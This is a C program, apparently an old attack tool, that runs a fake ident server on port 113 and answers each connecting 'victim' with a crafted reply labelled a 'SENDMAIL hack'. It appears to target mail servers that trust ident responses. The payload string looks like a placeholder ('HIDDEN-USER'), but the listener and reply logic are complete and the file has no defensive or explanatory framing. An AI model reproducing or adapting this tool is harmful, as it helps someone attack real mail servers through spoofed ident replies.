#define IDENT_D 113

#include <sys/types.h>
#include <sys/signal.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <sys/errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>


char hacksendmail[]=" : HIDDEN-USER : HIDDEN-USER ";

struct sockaddr victim;
int viclen=sizeof(struct sockaddr); 
int fd;

int main(void)
{
   int SOCKET;
   struct sockaddr_in name;   
   char inbuffer[1024];
   time_t mytime;
   char *c;
   
   SOCKET=socket(PF_INET, SOCK_STREAM, 0);
   if(SOCKET < 0) 
   { 
      printf("Error creating socket\n");
      exit(0);
   }
   printf("[NETT] Socket Created\n");
   name.sin_family=AF_INET;
   name.sin_port=htons(IDENT_D);
   name.sin_addr.s_addr=htonl(INADDR_ANY);
   if(bind(SOCKET, (struct sockaddr *) &name, sizeof(name)) < 0)
   {
      printf("Error binding socket\n");
      exit(0);
   }
   printf("[NETT] Socket bound\n");
   if(listen(SOCKET, 2) != 0)
   {
      puts("Error with listen");
      exit(0);
   }
   printf("[NETT] Socket done listen\n");
   for(;;)
   {   
      viclen=sizeof(struct sockaddr);
      fd=accept(SOCKET, &victim, &viclen);
      if(fd == -1)
      {
         puts("Error with accept");
         exit(0);
      }      
      printf("Connected\n");
      printf("Waiting\n");
      mytime=time(NULL);
      while(time(NULL) < mytime+5);
      read(fd, inbuffer, sizeof(inbuffer));
      c=strchr(inbuffer, 10);
      if(c != NULL) *c=0;
      c=strchr(inbuffer, 13);
      if(c != NULL) *c=0;
      printf("Received %s\n", inbuffer);
      write(fd, inbuffer, strlen(inbuffer));
      write(fd, hacksendmail, sizeof(hacksendmail));
      printf("Send SENDMAIL hack reply\n");
      close(fd);
      printf("Closed, Reinitializing...\n");
   }
}
